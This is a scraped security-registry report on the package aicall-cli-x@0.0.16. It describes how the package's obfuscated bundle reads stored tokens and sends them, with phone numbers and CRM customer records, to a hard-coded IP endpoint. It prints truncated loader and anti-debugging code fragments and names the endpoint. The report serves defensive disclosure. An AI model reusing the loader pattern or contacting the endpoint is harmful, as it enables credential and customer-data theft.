registry / Credential exfiltration / aicall-cli-x

aicall-cli-x

AI 外呼 CLI

This report shows the evidence for aicall-cli-x@0.0.16. 1 of 16 known versions is blocked or flagged. The newest version, 0.0.21, is flagged. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Source inspection confirms concrete credential and customer-data transmission to a concealed hard-coded HTTP endpoint. This is malicious exfiltration behavior despite requiring a user-invoked CLI command.

Static reason

One or more suspicious static signals were detected.

Trigger

User runs the aicall CLI, especially call, status, quota, or ASR commands after init.

Impact

Disclosure of authentication tokens, phone numbers, CRM customer details, and call metadata to an unverified endpoint.

Mechanism

credential and customer-data exfiltration over hard-coded HTTP

Attack narrative

The CLI shim loads the obfuscated bundle. Its explicit commands read credentials from ~/.aicallrc/config.json and send bearer middleware credentials plus ticket, phone numbers, and call metadata to http://39.96.50.154:8088. It also executes localcrm queries to obtain customer records used in this workflow. The concealed hard-coded plaintext endpoint and anti-debugging are inconsistent with a transparent package integration.

AI rationale

Evidence

package.jsonbin/aicall.jsdist/bundle.cjs~/.aicallrc/config.json

Network endpoints1

39.96.50.154:8088

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

dist/bundle.cjs is deliberately obfuscated and exits under debugger/inspect conditions.
The bundle reads ~/.aicallrc/config.json for ticket and middlewareToken.
middlewareRequest sends the middleware token as an Authorization bearer credential.
User call/status/ASR actions send ticket, phone numbers, call IDs, and timestamps to a hard-coded HTTP IP endpoint.
The bundle invokes localcrm commands to collect customer phone/name/company records before remote call handling.

Evidence against

package.json has no npm lifecycle hook.
Network activity is reached through explicit CLI commands, not installation.

Behavioral surface

Source

DynamicRequireFilesystem

Supply chain

HighEntropyStringsMinified

Manifest

NoLicense

scanned 2 file(s), 278 KB of source

Source & flagged code

2 flagged

bin/aicall.jsView file

Lines 1-24javascript

1#!/usr/bin/env node

3/**

4 * AI 外呼 CLI 入口（shim）

5 *

6 * 优先加载混淆后的 dist/bundle.cjs（构建产物），

7 * 不存在时降级到原始源码（开发模式）。

8 */

10import { existsSync } from 'fs';

11import { createRequire } from 'module';

12import { fileURLToPath } from 'url';

13import { dirname, resolve } from 'path';

15const __dirname = dirname(fileURLToPath(import.meta.url));

16const distBundle = resolve(__dirname, '../dist/bundle.cjs');

18if (existsSync(distBundle)) {

19 const require = createRequire(import.meta.url);

20 require(distBundle);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/aicall.jsView on unpkg · L18

21} else {

22 await import('../src/cli.js');

23}

dist/bundle.cjsView file

Lines 1-2javascript

1#!/usr/bin/env node

2(function(){try{var x5gDpA6Dni=typeof process!=='undefined'&&process;if(x5gDpA6Dni&&(x5gDpA6Dni.argv.join(' ').match(/inspect|debug|--dev/

Source & flagged code

2 flagged · loading source

bin/aicall.jsView file

18if (existsSync(distBundle)) { L19: const require = createRequire(import.meta.url); L20: require(distBundle);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/aicall.jsView on unpkg · L18

dist/bundle.cjsView file

1#!/usr/bin/env node L2: (function(){try{var x5gDpA6Dni=typeof process!=='undefined'&&process;if(x5gDpA6Dni&&(x5gDpA6Dni.argv.join(' ').match(/inspect|debug|--dev/)||(x5gDpA6Dni.env.NODE_OPTIONS||'').match...

High

Obfuscated Payload Loader

Source contains an obfuscator-style string-array loader that reconstructs and executes hidden code.

dist/bundle.cjsView on unpkg · L1

Findings

1 High2 Medium4 Low

HighObfuscated Payload Loaderdist/bundle.cjs

MediumDynamic Requirebin/aicall.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowNo License

Affected versions and remediation

This report applies to aicall-cli-x@0.0.16.

The versions list below shows the verdict for each recorded version.

Avoid installing aicall-cli-x@0.0.16. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-07-22 22:28:56.883Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

16 known versions

0.0.21latestSuspiciousAI-agent capability abuseWarnPublishedSep 7, 2026, 9:01 AM 0.0.20SuspiciousAI-agent capability abuseWarnPublishedAug 31, 2026, 12:46 PM 0.0.19SuspiciousAgent extension lifecycle riskWarnPublishedAug 24, 2026, 9:40 AM 0.0.18SuspiciousAgent extension lifecycle riskWarnPublishedAug 19, 2026, 12:24 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Source & flagged code

Related packages

Other credential exfiltration packages